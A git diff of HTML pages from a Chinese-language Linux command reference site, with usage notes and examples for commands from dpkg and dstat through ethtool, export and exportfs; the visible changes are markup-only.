    +dpkg -l package         # 显示该包的版本
    +dpkg --unpack package.deb  # 解开deb包的内容
    +dpkg -S keyword            # 搜索所属的包内容
    +dpkg -l                    # 列出当前已安装的包
    +dpkg -c package.deb        # 列出deb包的内容
    +dpkg --configure package   # 配置包
     
    - - + + \ No newline at end of file diff --git a/c/dris.html b/c/dris.html index 523b264e34..6b385edd35 100644 --- a/c/dris.html +++ b/c/dris.html @@ -9,7 +9,7 @@ dris 命令,Linux dris 命令详解:显示和清空目录堆栈中的内容 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/dstat.html b/c/dstat.html index 8222bfacf7..d521776214 100644 --- a/c/dstat.html +++ b/c/dstat.html @@ -9,7 +9,7 @@ dstat 命令,Linux dstat 命令详解:通用的系统资源统计工具 - Linux 命令搜索引擎 - + @@ -119,13 +119,13 @@ customElements.define('markdown-style', MarkdownStyle);dstat命令 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具,是一个全能系统信息统计工具。与sysstat相比,dstat拥有一个彩色的界面,在手动观察性能状况时,数据比较显眼容易观察;而且dstat支持即时刷新,譬如输入dstat 3即每三秒收集一次,但最新的数据都会每秒刷新显示。和sysstat相同的是,dstat也可以收集指定的性能资源,譬如dstat -c即显示CPU的使用情况。

    下载安装

    方法一

    -
    yum install -y dstat
    +
    yum install -y dstat
     

    方法二

    官网下载地址:http://dag.wieers.com/rpm/packages/dstat

    wget http://dag.wieers.com/rpm/packages/dstat/dstat-0.6.7-1.rh7.rf.noarch.rpm
    -rpm -ivh dstat-0.6.7-1.rh7.rf.noarch.rpm
    +rpm -ivh dstat-0.6.7-1.rh7.rf.noarch.rpm
     
    @@ -165,9 +165,9 @@ usr sys idl wai hiq siq| read writ| recv send| in out | int csw
    -c:显示CPU系统占用,用户占用,空闲,等待,中断,软件中断等信息。
     -C:当有多个CPU时候,此参数可按需分别显示cpu状态,例:-C 0,1 是显示cpu0和cpu1的信息。
     -d:显示磁盘读写数据大小。
    --D hda,total:include hda and total。
    +-D hda,total:include hda and total。
     -n:显示网络状态。
    --N eth1,total:有多块网卡时,指定要显示的网卡。
    +-N eth1,total:有多块网卡时,指定要显示的网卡。
     -l:显示系统负载情况。
     -m:显示内存使用情况。
     -g:显示页面使用情况。
    @@ -179,8 +179,8 @@ usr sys idl wai hiq siq| read  writ| recv  send|  in   out | int   csw
     --ipc:显示ipc消息队列,信号等信息。
     --socket:用来显示tcp udp端口状态。
     -a:此为默认选项,等同于-cdngy。
    --v:等同于 -pmgdsc -D total。
    ---output 文件:此选项也比较有用,可以把状态信息以csv的格式重定向到指定的文件中,以便日后查看。例:dstat --output /root/dstat.csv & 此时让程序默默的在后台运行并把结果输出到/root/dstat.csv文件中。
    +-v:等同于 -pmgdsc -D total。
    +--output 文件:此选项也比较有用,可以把状态信息以csv的格式重定向到指定的文件中,以便日后查看。例:dstat --output /root/dstat.csv & 此时让程序默默的在后台运行并把结果输出到/root/dstat.csv文件中。
     

    dstat命令的基本用法就说到这里,更多用法有待摸索,如果您需要补充内容请给我们发邮件,谢谢!

    - - + + \ No newline at end of file diff --git a/c/du.html b/c/du.html index 61cd2a453f..0ad2ba5301 100644 --- a/c/du.html +++ b/c/du.html @@ -9,7 +9,7 @@ du 命令,Linux du 命令详解:显示每个文件和目录的磁盘使用空间 - Linux 命令搜索引擎 - + @@ -122,33 +122,33 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -a, --all                              显示目录中个别文件的大小。
    +
    -a, --all                              显示目录中个别文件的大小。
     -B, --block-size=大小                  使用指定字节数的块
    --b, --bytes                            显示目录或文件大小时,以byte为单位。
    --c, --total                            除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。
    +-b, --bytes                            显示目录或文件大小时,以byte为单位。
    +-c, --total                            除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。
     -D, --dereference-args                 显示指定符号链接的源文件大小。
    --H, --si                               与-h参数相同,但是K,M,G是以1000为换算单位。
    +-H, --si                               与-h参数相同,但是K,M,G是以1000为换算单位。
     -h, --human-readable                   以K,M,G为单位,提高信息的可读性。
    --k, --kilobytes                        以KB(1024bytes)为单位输出。
    +-k, --kilobytes                        以KB(1024bytes)为单位输出。
     -l, --count-links                      重复计算硬件链接的文件。
    --m, --megabytes                        以MB为单位输出。
    +-m, --megabytes                        以MB为单位输出。
     -L<符号链接>, --dereference<符号链接>  显示选项中所指定符号链接的源文件大小。
     -P, --no-dereference                   不跟随任何符号链接(默认)
    --0, --null                             将每个空行视作0 字节而非换行符
    +-0, --null                             将每个空行视作0 字节而非换行符
     -S, --separate-dirs                    显示个别目录的大小时,并不含其子目录的大小。
    --s, --summarize                        仅显示总计,只列出最后加总的值。
    +-s, --summarize                        仅显示总计,只列出最后加总的值。
     -x, --one-file-xystem                  以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。
     -X<文件>, --exclude-from=<文件><文件>指定目录或文件。
     --apparent-size                        显示表面用量,而并非是磁盘用量;虽然表面用量通常会小一些,但有时它会因为稀疏文件间的"洞"、内部碎片、非直接引用的块等原因而变大。
     --files0-from=F                        计算文件F中以NUL结尾的文件名对应占用的磁盘空间如果F的值是"-",则从标准输入读入文件名
    ---exclude=<目录或文件>                 略过指定的目录或文件。
    +--exclude=<目录或文件>                 略过指定的目录或文件。
     --max-depth=N                          显示目录总计(与--all 一起使用计算文件)当N为指定数值时计算深度为N,等于0时等同--summarize
    ---si                                   类似-h,但在计算时使用1000 为基底而非1024
    ---time                                 显示目录或该目录子目录下所有文件的最后修改时间
    ---time=WORD                            显示WORD时间,而非修改时间:atime,access,use,ctime 或status
    +--si                                   类似-h,但在计算时使用1000 为基底而非1024
    +--time                                 显示目录或该目录子目录下所有文件的最后修改时间
    +--time=WORD                            显示WORD时间,而非修改时间:atime,access,use,ctime 或status
     --time-style=样式                      按照指定样式显示时间(样式解释规则同"date"命令):full-iso,long-iso,iso,+FORMAT
    ---help                                 显示此帮助信息并退出
    ---version                              显示版本信息并退出
    +--help                                 显示此帮助信息并退出
    +--version                              显示版本信息并退出
     

    只显示当前目录下子目录的大小。

    -
    ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh ./*/
    +
    ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh ./*/
     1.9M    ./assets/
     28K     ./build/
     2.9M    ./command/
    @@ -231,18 +231,18 @@ customElements.define('markdown-style', MarkdownStyle);

    只显示总和的大小:

    -
    ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -s .
    +
    ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -s .
     1932    .
     

    显示总和的大小且易读:

    -
    ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -sh .
    +
    ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -sh .
     1.9M    .
     
    - - + + \ No newline at end of file diff --git a/c/dump.html b/c/dump.html index 5511df2a04..11ccfff0f0 100644 --- a/c/dump.html +++ b/c/dump.html @@ -9,7 +9,7 @@ dump 命令,Linux dump 命令详解:用于备份ext2或者ext3文件系统 - Linux 命令搜索引擎 - + @@ -153,15 +153,15 @@ customElements.define('markdown-style', MarkdownStyle);备份源:指定要备份的文件、目录或者文件系统。

    实例

    /home目录所有内容备份到/tmp/homeback.bak文件中,备份层级为0并在/etc/dumpdates中记录相关信息:

    -
    ‍dump -0u -f /tmp/homeback.bak /home
    +
    ‍dump -0u -f /tmp/homeback.bak /home
     

    /home目录所有内容备份到/tmp/homeback.bak文件中,备份层级为1(只备份上次使用层次0备份后发生过改变的数据)并在/etc/dumpdates中记录相关信息:

    -
    dump -1u -f /tmp/homeback.bak /home
    +
    dump -1u -f /tmp/homeback.bak /home
     

    通过dump命令的备份层级,可实现完整+增量备份、完整+差异备份,在配合crontab可以实现无人值守备份。

    - - + + \ No newline at end of file diff --git a/c/e2fsck.html b/c/e2fsck.html index 43812f0bc9..b463394e2a 100644 --- a/c/e2fsck.html +++ b/c/e2fsck.html @@ -9,7 +9,7 @@ e2fsck 命令,Linux e2fsck 命令详解:用于检查第二扩展文件系统的完整性 - Linux 命令搜索引擎 - + @@ -175,11 +175,11 @@ customElements.define('markdown-style', MarkdownStyle);文件系统或者分区:指定文件系统或者分区所对应的设备文件名。

    实例

    检查/dev/sda1是否有问题,如发现问题便自动修复:

    -
    e2fsck -a -y /dev/sda1
    +
    e2fsck -a -y /dev/sda1
     

    执行e2fsck或fsck前请先umount partition,否则有机会令档案系统毁损。如果需要对根目录/进行检查及修复,便需要进入singal user mode执行。

    - - + + \ No newline at end of file diff --git a/c/e2label.html b/c/e2label.html index d8c1780d35..afcd3939dd 100644 --- a/c/e2label.html +++ b/c/e2label.html @@ -9,7 +9,7 @@ e2label 命令,Linux e2label 命令详解:设置第二扩展文件系统的卷标 - Linux 命令搜索引擎 - + @@ -144,7 +144,7 @@ mkdir /new

    下次重新起动机器的时候,就会把卷标为/new的分区挂接到/new上。

    - - + + \ No newline at end of file diff --git a/c/echo.html b/c/echo.html index 402d4f101e..3f69e5a849 100644 --- a/c/echo.html +++ b/c/echo.html @@ -9,7 +9,7 @@ echo 命令,Linux echo 命令详解:输出指定的字符串或者变量 - Linux 命令搜索引擎 - + @@ -165,7 +165,7 @@ customElements.define('markdown-style', MarkdownStyle);

    用echo命令打印带有色彩的文字:

    文字色:

    -
    echo -e "\e[1;31mThis is red text\e[0m"
    +
    echo -e "\e[1;31mThis is red text\e[0m"
     This is red text
     
    echo -e "\x1b[30;1m 0 黑色 \x1b[0m"\ +
    echo -e "\x1b[30;1m 0 黑色 \x1b[0m"\
     "\x1b[31;1m 1 红色 \x1b[0m"\
     "\x1b[32;1m 2 绿色 \x1b[0m"\
     "\x1b[33;1m 3 黄色 \x1b[0m"\
    @@ -193,22 +193,22 @@ This is red text
     "\x1b[37;1m 7 白色 \x1b[0m"
     " class="copied">

    背景色

    -
    echo -e "\e[1;42mGreed Background\e[0m"
    +
    echo -e "\e[1;42mGreed Background\e[0m"
     Greed Background
     

    颜色码:重置=0,黑色=40,红色=41,绿色=42,黄色=43,蓝色=44,洋红=45,青色=46,白色=47

    文字闪动:

    -
    echo -e "\033[37;31;5mMySQL Server Stop...\033[39;49;0m"
    +
    echo -e "\033[37;31;5mMySQL Server Stop...\033[39;49;0m"
     

    红色数字处还有其他数字参数:0 关闭所有属性、1 设置高亮度(加粗)、4 下划线、5 闪烁、7 反显、8 消隐

    输出内容结尾不添加换行符

    -
    echo -n 'hello'
    +
    echo -n 'hello'
     
    - - + + \ No newline at end of file diff --git a/c/ed.html b/c/ed.html index f7017bd968..00c4064297 100644 --- a/c/ed.html +++ b/c/ed.html @@ -9,7 +9,7 @@ ed 命令,Linux ed 命令详解:单行纯文本编辑器 - Linux 命令搜索引擎 - + @@ -150,7 +150,7 @@ q # 退出ed编辑器。 " class="copied">

    参数

    文件:待编辑的文件。

    - - + + \ No newline at end of file diff --git a/c/edquota.html b/c/edquota.html index 241e167a52..be11b9b86b 100644 --- a/c/edquota.html +++ b/c/edquota.html @@ -9,7 +9,7 @@ edquota 命令,Linux edquota 命令详解:用于编辑指定用户或工作组磁盘配额 - Linux 命令搜索引擎 - + @@ -184,7 +184,7 @@ customElements.define('markdown-style', MarkdownStyle);

    通过edquota直接编辑数据文件:

    使用编辑配额命令edquota为用户配置定额,在重新启动系统之后,我们假设lanf是需要定额的系统帐户,可以使用如下命令来为用户分配磁盘配额:

    -
    edquota -u lanf
    +
    edquota -u lanf
     

    这个命令将启动默认文本编辑器(如vi或其他由$EDITOR 环境变量指定的编辑器),其内容如下所示:

    @@ -210,16 +210,16 @@ inodes in use:0,limits(soft = 0,hard = 0) inodes in use:0,limits(soft = 12800,hard = 51200) " class="copied">

    这表示除了相应的容量的限制外,还对文件/目录的数量做了12800个的软限制和51200个的硬限制。在保存了新的配置后,该用户的磁盘使用就不能超过硬限制。如果用户试图超过这个限制,该操作将被取消,然后得到一个错误信息。但是,如果每个用户都要这么麻烦的设置的话,那这种重复的体力劳动实在有点令人不寒而栗,而且也太浪费时间了。幸好edquota还有个-p参数(prototype)可以对已有的用户设置进行拷贝。例如,我们想对Jack、Tom、Chen三个用户使用和lanf一样的限额配置,可以使用如下的命令:

    -
    edquota -p lanf -u Jack Tom Chen
    +
    edquota -p lanf -u Jack Tom Chen
     

    这样一来,这三个用户就被赋予了和lanf一样的磁盘配额。

    对组的配额,除了edquota命令中对应-u选项的改为-g选项,例如下面对webterm1组的操作:

    -
    edquota -g webterm1
    +
    edquota -g webterm1
     

    实际上,以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话,还需要对用户的软限制设定宽限期,缺省的软限制的宽限期是无穷,这可以使用edquota命令的-t选项来实现。运行下面的命令:

    -
    edquota -t
    +
    edquota -t
     

    edquota将打开缺省编辑器显示如下内容:

    @@ -249,7 +249,7 @@ Grace period before enforcing soft limits for users: " class="copied">

    查看用户磁盘使用情况

    要查明某一个用户使用了多少磁盘空间,例如lanf,可以使用如下的命令:

    -
    quota -u lanf
    +
    quota -u lanf
     

    显示:

    @@ -266,7 +266,7 @@ Filesystem blocks quota limit grace file quota limit grace
  • 如果该用户没有配置磁盘限额的话,输出显示Disk quotas for user hujm (uid 503): none
  • 如果不带任何参数运行quota的话,查看的是你自己的配额使用情况。
  • - - + + \ No newline at end of file diff --git a/c/egrep.html b/c/egrep.html index 6f7cbec833..d22f6ec0eb 100644 --- a/c/egrep.html +++ b/c/egrep.html @@ -9,7 +9,7 @@ egrep 命令,Linux egrep 命令详解:在文件内查找指定的字符串 - Linux 命令搜索引擎 - + @@ -157,10 +157,10 @@ testfile_2:Linux is a free unix-type opterating system testfile_2:Linux test " class="copied">

    过滤注释行和空白行

    -
    egrep -v '^\s*(#|$)' filename
    +
    egrep -v '^\s*(#|$)' filename
     
    - - + + \ No newline at end of file diff --git a/c/eject.html b/c/eject.html index 6d2f4798ae..73f2098ce4 100644 --- a/c/eject.html +++ b/c/eject.html @@ -9,7 +9,7 @@ eject 命令,Linux eject 命令详解:用来退出抽取式设备 - Linux 命令搜索引擎 - + @@ -149,7 +149,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    设备名:指定弹出的设备名称。

    - - + + \ No newline at end of file diff --git a/c/elinks.html b/c/elinks.html index 52083f520c..debe42c669 100644 --- a/c/elinks.html +++ b/c/elinks.html @@ -9,7 +9,7 @@ elinks 命令,Linux elinks 命令详解:纯文本界面的WWW浏览器 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    URL:指定要访问的URL地址。

    - - + + \ No newline at end of file diff --git a/c/elm.html b/c/elm.html index 670e536556..927f993f52 100644 --- a/c/elm.html +++ b/c/elm.html @@ -9,7 +9,7 @@ elm 命令,Linux elm 命令详解:纯文本邮件客户端程序 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/emacs.html b/c/emacs.html index 7e45140357..3d1e21c90e 100644 --- a/c/emacs.html +++ b/c/emacs.html @@ -9,7 +9,7 @@ emacs 命令,Linux emacs 命令详解:功能强大的全屏文本编辑器 - Linux 命令搜索引擎 - + @@ -307,7 +307,7 @@ M-x shell : 模拟shell的buffer M-x term : 模拟terminal, C-c k 关闭terminal C-x C-q : 修改buffer的只读属性 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/enable.html b/c/enable.html index 7afb79112d..c97e57af07 100644 --- a/c/enable.html +++ b/c/enable.html @@ -9,7 +9,7 @@ enable 命令,Linux enable 命令详解:启动或禁用shell内建命令 - Linux 命令搜索引擎 - + @@ -154,14 +154,14 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -a 打印所有内建命令,无论是否禁用。
    --d 移除从动态库中加载的内建命令。
    --n 禁用内建命令或显示已禁用的内建命令。
    --p 以可复用格式打印。
    --s 只显示处于启动状态的posix标准内建命令。
    --f 动态库中加载内建命令。
    --ns 打印处于禁用状态的posix标准内建命令。
    --as 打印posix标准内建命令,无论是否禁用。
    +
    -a 打印所有内建命令,无论是否禁用。
    +-d 移除从动态库中加载的内建命令。
    +-n 禁用内建命令或显示已禁用的内建命令。
    +-p 以可复用格式打印。
    +-s 只显示处于启动状态的posix标准内建命令。
    +-f 动态库中加载内建命令。
    +-ns 打印处于禁用状态的posix标准内建命令。
    +-as 打印posix标准内建命令,无论是否禁用。
     
    # posix special builtin # 假设没有任何内建命令被禁用 # 禁用两个posix标准内建命令 -enable -n set source +enable -n set source # 打印处于禁用状态的posix标准内建命令 -enable -ns +enable -ns # 打印posix标准内建命令,无论是否禁用。 -enable -as +enable -as # 打印处于启用状态的posix标准内建命令 -enable -s +enable -s
    # 假设没有任何内建命令被禁用
     # 禁用一到多个内建命令
    -enable -n echo pwd
    +enable -n echo pwd
     # 打印所有内建命令,无论是否禁用。
    -enable -a
    +enable -a
     # 打印处于启用状态的内建命令
     enable
     # 打印处于禁用状态的内建命令
    -enable -n
    +enable -n
     # 启用一到多个内建命令
     enable pwd
     
  • 该命令是bash内建命令,相关的帮助信息请查看 help 命令。
  • - - + + \ No newline at end of file diff --git a/c/env.html b/c/env.html index f9b7ebdaa5..3eee36bb8c 100644 --- a/c/env.html +++ b/c/env.html @@ -9,7 +9,7 @@ env 命令,Linux env 命令详解:显示系统中已存在的环境变量 - Linux 命令搜索引擎 - + @@ -177,7 +177,7 @@ LESSOPEN=|/usr/bin/lesspipe.sh %s G_BROKEN_FILENAMES=1 _=/bin/env " class="copied">
    - - + + \ No newline at end of file diff --git a/c/ethtool.html b/c/ethtool.html index c9d4372fd1..f0ac766021 100644 --- a/c/ethtool.html +++ b/c/ethtool.html @@ -9,7 +9,7 @@ ethtool 命令,Linux ethtool 命令详解:显示或修改以太网卡的配置信息 - Linux 命令搜索引擎 - + @@ -118,7 +118,7 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    ethtool命令用于获取以太网卡的配置信息,或者修改这些配置。这个命令比较复杂,功能特别多。

    语法

    -
    ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX
    +
    ethtool [ -a | -c | -g | -i | -d | -k | -r | -S |] ethX
     ethtool [-A] ethX [autoneg on|off] [rx on|off] [tx on|off]
     ethtool [-C] ethX [adaptive-rx on|off] [adaptive-tx on|off] [rx-usecs N] [rx-frames N] [rx-usecs-irq N] [rx-frames-irq N] [tx-usecs N] [tx-frames N] [tx-usecs-irq N] [tx-frames-irq N] [stats-block-usecs N][pkt-rate-low N][rx-usecs-low N] [rx-frames-low N] [tx-usecs-low N] [tx-frames-lowN] [pkt-rate-high N] [rx-usecs-high N] [rx-frames-high N] [tx-usecs-high N] [tx-frames-high N] [sample-interval N]
     ethtool [-G] ethX [rx N] [rx-mini N] [rx-jumbo N] [tx N]
    @@ -142,23 +142,23 @@ ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port
     [wol p|u|m|b|a|g|s|d...] [sopass xx:yy:zz:aa:bb:cc] [msglvl N]
     " class="copied">

    选项

    -
    -a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
    --A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
    --c display the Coalesce information of the specified ethernet card。
    --C Change the Coalesce setting of the specified ethernet card。
    --g Display the rx/tx ring parameter information of the specified ethernet card。
    --G change the rx/tx ring setting of the specified ethernet card。
    --i 显示网卡驱动的信息,如驱动的名称、版本等。
    --d 显示register dump信息, 部分网卡驱动不支持该选项。
    --e 显示EEPROM dump信息,部分网卡驱动不支持该选项。
    --E 修改网卡EEPROM byte。
    --k 显示网卡Offload参数的状态:on 或 off,包括rx-checksumming、tx-checksumming等。
    --K 修改网卡Offload参数的状态。
    --p 用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;N指示了网卡闪的持续时间,以秒为单位。
    --r 如果auto-negotiation模块的状态为on,则restarts auto-negotiation。
    --S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等。
    --t 让网卡执行自我检测,有两种模式:offline or online。
    --s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。
    +
    -a 查看网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
    +-A 修改网卡中 接收模块RX、发送模块TX和Autonegotiate模块的状态:启动on 或 停用off。
    +-c display the Coalesce information of the specified ethernet card。
    +-C Change the Coalesce setting of the specified ethernet card。
    +-g Display the rx/tx ring parameter information of the specified ethernet card。
    +-G change the rx/tx ring setting of the specified ethernet card。
    +-i 显示网卡驱动的信息,如驱动的名称、版本等。
    +-d 显示register dump信息, 部分网卡驱动不支持该选项。
    +-e 显示EEPROM dump信息,部分网卡驱动不支持该选项。
    +-E 修改网卡EEPROM byte。
    +-k 显示网卡Offload参数的状态:on 或 off,包括rx-checksumming、tx-checksumming等。
    +-K 修改网卡Offload参数的状态。
    +-p 用于区别不同ethX对应网卡的物理位置,常用的方法是使网卡port上的led不断的闪;N指示了网卡闪的持续时间,以秒为单位。
    +-r 如果auto-negotiation模块的状态为on,则restarts auto-negotiation。
    +-S 显示NIC- and driver-specific 的统计参数,如网卡接收/发送的字节数、接收/发送的广播包个数等。
    +-t 让网卡执行自我检测,有两种模式:offline or online。
    +-s 修改网卡的部分配置,包括网卡速度、单工/全双工模式、mac地址等。
     

    操作完毕后,输出信息中Speed:这一项就指示了网卡的速度。停止网卡的发送模块TX,请输入:

    -
    ethtool -A tx off eth0
    +
    ethtool -A tx off eth0
     

    操作完毕后,可输入ethtool -a eth0,查看tx模块是否已被停止。查看网卡eth0采用了何种驱动,请输入:

    -
    ethtool -i eth0
    +
    ethtool -i eth0
     

    操作完毕后,显示 driver: bnx2;version: 1.4.30 等信息。关闭网卡对收到的数据包的校验功能,请输入:

    -
    ethtool -K eth0 rx off
    +
    ethtool -K eth0 rx off
     

    操作完毕后,可输入ethtool –k eth0,查看校验功能是否已被停止。如果机器上安装了两块网卡,那么eth0对应着哪块网卡呢?输入:

    -
    ethtool -p eth0 10
    +
    ethtool -p eth0 10
     

    操作完毕后,看哪块网卡的led灯在闪,eth0就对应着哪块网卡。查看网卡,在接收/发送数据时,有没有出错?请输入:

    @@ -279,10 +279,10 @@ ethtool [-s] ethX [speed 10|100|1000] [duplex half|full] [autoneg on|off] [port

    将千兆网卡的速度降为百兆,请输入:

    -
    ethtool -s eth0 speed 100
    +
    ethtool -s eth0 speed 100
     
    - - + + \ No newline at end of file diff --git a/c/ex.html b/c/ex.html index d26ba9f775..0c2c8b8db3 100644 --- a/c/ex.html +++ b/c/ex.html @@ -9,7 +9,7 @@ ex 命令,Linux ex 命令详解:启动vim编辑器的ex编辑模式 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定待编辑的文件。

    - - + + \ No newline at end of file diff --git a/c/exec.html b/c/exec.html index 56163efd11..f9f0dba56e 100644 --- a/c/exec.html +++ b/c/exec.html @@ -9,7 +9,7 @@ exec 命令,Linux exec 命令详解:调用并执行指定的命令 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);

    然后再使用exec命令调用echo命令输出同样的信息,并且对输出的信息进行对比,输入指令如下所示:

    -
    exec -c echo Linux C++          # 调用命令
    +
    exec -c echo Linux C++          # 调用命令
     

    执行以上命令后,其输出信息如下:

    @@ -145,7 +145,7 @@ customElements.define('markdown-style', MarkdownStyle);

    通过比较两者执行后的结果来看,所实现的功能是相同的,即使用exec命令调用echo命令成功。

    - - + + \ No newline at end of file diff --git a/c/exit.html b/c/exit.html index bd277f4932..1416bae63a 100644 --- a/c/exit.html +++ b/c/exit.html @@ -9,7 +9,7 @@ exit 命令,Linux exit 命令详解:退出当前的shell。 - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ logout " class="copied">

    也可以使用ctrl+d退出当前终端,下面列出了打开或关闭该功能的方法:

    # 打开ctrl+d退出终端
    -set -o ignoreeof
    +set -o ignoreeof
     # 关闭ctrl+d退出终端
     set +o ignoreeof
     

    在脚本中,判断参数数量,不匹配就打印使用方式,退出:

    -
    if [ "$#" -ne "2" ]; then
    +
    if [ "$#" -ne "2" ]; then
         echo "usage: $0 <area> <hours>"
         exit 2
     fi
    @@ -178,7 +178,7 @@ fi
     
    1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
    - - + + \ No newline at end of file diff --git a/c/expand.html b/c/expand.html index 7ec094a2db..ef6556e1c9 100644 --- a/c/expand.html +++ b/c/expand.html @@ -9,7 +9,7 @@ expand 命令,Linux expand 命令详解:将文件的制表符转换为空白字符 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要转换制表符为空白的文件。

    - - + + \ No newline at end of file diff --git a/c/export.html b/c/export.html index ff9e48438f..79ca511a57 100644 --- a/c/export.html +++ b/c/export.html @@ -9,7 +9,7 @@ export 命令,Linux export 命令详解:为shell变量或函数设置导出属性。 - Linux 命令搜索引擎 - + @@ -176,7 +176,7 @@ export -p
    a=5;b=7 # 删除变量的导出属性 -export -n a b +export -n a b
    function func_2(){ echo '890'; } # 为已定义函数增加导出属性 -export -f func_1 func_2 +export -f func_1 func_2 # 删除函数的导出属性 -export -fn a b +export -fn a b
    扩展阅读

    一般来说,配置交叉编译工具链的时候需要指定编译工具的路径,此时就需要设置环境变量。查看已经存在的环境变量:

    [root@localhost ~]# export
    -declare -x G_BROKEN_FILENAMES="1"
    -declare -x HISTSIZE="1000"
    -declare -x HOME="/root"
    -declare -x hostname="localhost"
    -declare -x INPUTRC="/etc/inputrc"
    -declare -x LANG="zh_CN.UTF-8"
    -declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
    -declare -x logname="root"
    -declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
    -declare -x mail="/var/spool/mail/root"
    -declare -x OLDPWD
    -declare -x PATH="/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"
    -declare -x pwd="/root"
    -declare -x SHELL="/bin/bash"
    -declare -x SHLVL="1"
    -declare -x SSH_CLIENT="192.168.2.111 2705 22"
    -declare -x SSH_CONNECTION="192.168.2.111 2705 192.168.2.2 22"
    -declare -x SSH_TTY="/dev/pts/0"
    -declare -x TERM="linux"
    -declare -x USER="root"
    +declare -x G_BROKEN_FILENAMES="1"
    +declare -x HISTSIZE="1000"
    +declare -x HOME="/root"
    +declare -x hostname="localhost"
    +declare -x INPUTRC="/etc/inputrc"
    +declare -x LANG="zh_CN.UTF-8"
    +declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
    +declare -x logname="root"
    +declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
    +declare -x mail="/var/spool/mail/root"
    +declare -x OLDPWD
    +declare -x PATH="/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"
    +declare -x pwd="/root"
    +declare -x SHELL="/bin/bash"
    +declare -x SHLVL="1"
    +declare -x SSH_CLIENT="192.168.2.111 2705 22"
    +declare -x SSH_CONNECTION="192.168.2.111 2705 192.168.2.2 22"
    +declare -x SSH_TTY="/dev/pts/0"
    +declare -x TERM="linux"
    +declare -x USER="root"
     
    - - + + \ No newline at end of file diff --git a/c/exportfs.html b/c/exportfs.html index e943b5ac26..5b646c3538 100644 --- a/c/exportfs.html +++ b/c/exportfs.html @@ -9,7 +9,7 @@ exportfs 命令,Linux exportfs 命令详解:管理NFS共享文件系统列表 - Linux 命令搜索引擎 - + @@ -118,13 +118,13 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    exportfs 命令用来管理当前NFS共享的文件系统列表。

    参数:

    -
    -a 打开或取消所有目录共享。
    --o options,...指定一列共享选项,与 exports(5) 中讲到的类似。
    --i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。
    --r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。
